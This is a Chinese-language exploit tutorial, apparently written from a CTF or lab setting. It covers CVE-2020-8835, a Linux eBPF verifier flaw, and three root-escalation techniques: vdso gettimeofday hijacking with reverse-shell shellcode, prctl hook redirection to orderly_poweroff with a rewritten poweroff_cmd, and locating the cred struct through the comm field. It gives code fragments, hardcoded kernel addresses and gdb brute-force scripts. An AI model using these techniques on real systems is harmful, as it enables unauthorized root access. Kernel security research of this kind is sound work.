CVE-2020-8835漏洞利用与多种提权技术详解
漏洞概述
CVE-2020-8835是一个Linux内核中的eBPF子系统漏洞,存在于验证器对JMP32指令的处理过程中。该漏洞允许攻击者在内核空间实现任意读写,从而获得root权限。本文将详细分析该漏洞的多种利用方式。
漏洞背景
CVE-2020-8835是一个位于Linux内核eBPF子系统中的漏洞,由于验证器对JMP32指令的处理不当,导致攻击者可以绕过验证器的检查,在内核空间实现任意读写操作。
三种提权技术详解
1. 劫持vdso提权技术
原理分析
vdso(Virtual Dynamic Shared Object)是一个特殊的ELF共享库,它映射在用户空间和内核空间之间。vdso页在内核态可读写,在用户态可读可执行。通过修改vdso中的函数(如gettimeofday),可以实现权限提升。
实施步骤
-
定位用户空间vdso地址:
more /proc/self/maps | grep vdso -
确定函数偏移:
- 编写程序读取用户空间vdso并找到gettimeofday的偏移
- 示例输出:
[+]VDSO : 0x7fffc1bc6000 [+]The offset of gettimeofday is : 2f8
-
爆破内核空间vdso地址:
- 范围:0xffff880000000000~0xffffc80000000000
- 每次增加0x1000,检查特定字符串(如"gettimeofday")
-
修改vdso函数:
- 将shellcode写入gettimeofday函数位置
- 示例shellcode(反弹shell到127.0.0.1:3333):
exp_buf[0] = 0x31485390-1; bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*0); // 后续写入更多shellcode片段...
-
触发执行:
- fork()新进程调用被劫持的函数
- 父进程监听3333端口接收root shell
验证方法
编写程序打印用户空间vdso中的gettimeofday函数代码,确认是否被成功劫持。
2. 劫持prctl函数提权技术
原理分析
通过修改prctl函数的调用链,使其最终执行__orderly_poweroff函数,同时修改poweroff_cmd全局变量,实现以root权限执行任意命令。
关键函数分析
-
prctl调用链:
SYSCALL_DEFINE5(prctl) -> security_task_prctl -> hp->hook.task_prctl -
__orderly_poweroff函数:
int __orderly_poweroff(bool force) { // ... run_cmd(poweroff_cmd); // 以root权限执行命令 }
实施步骤
-
查找关键地址:
- 使用gdb或
/proc/kallsyms查找:- security_task_prctl地址
- orderly_poweroff地址
- poweroff_cmd地址
- 使用gdb或
-
修改关键数据:
// 将security_task_prctl改为orderly_poweroff expbuf64[0] = 0x81090c90 -1; bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824b2240); // 修改poweroff_cmd为要执行的命令 expbuf64[0] = 0x6e69622f -1; // "/bin/chmod 777 /flag" bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0); // 写入命令剩余部分... -
触发执行:
prctl(0,0); // 调用被劫持的prctl
3. 根据comm查找cred结构提权
原理分析
通过prctl设置进程的comm字段(进程名),然后在内存中搜索该字段,定位task_struct结构,进而找到cred结构体进行修改。
实施步骤
-
设置comm字段:
char target[16]; strcpy(target,"aaaaaaaa"); prctl(PR_SET_NAME,target); // 设置进程名为"aaaaaaaa" -
搜索内存定位task_struct:
for(int i = 0; ; i++){ current_task = read_8byte(per_cpu_offset + 0x17d00); comm = read_8byte(current_task + 0x648); // comm字段偏移 if(comm == 0x6161616161616161){ // "aaaaaaaa" // 找到目标task_struct break; } } -
定位并修改cred结构:
- 根据task_struct找到cred结构
- 修改uid/gid等字段为0(root)
注意事项
- 内存搜索可能导致内核崩溃
- 可使用gdb脚本辅助爆破,避免程序崩溃
实用技巧:避免内核崩溃的爆破方法
-
编写gdb脚本批量检查内存区域:
target remote :1234 x/s 0xffffffff80001000 x/s 0xffffffff80002000 // 更多地址... -
批量执行并保存结果:
gdb --batch --command=bbb > dump.txt -
分析结果缩小爆破范围
参考资源
总结
CVE-2020-8835漏洞提供了内核空间的任意读写能力,本文详细介绍了三种不同的提权技术,每种方法都有其特点和适用场景。理解这些技术不仅有助于防御此类攻击,也能提升内核安全研究的能力。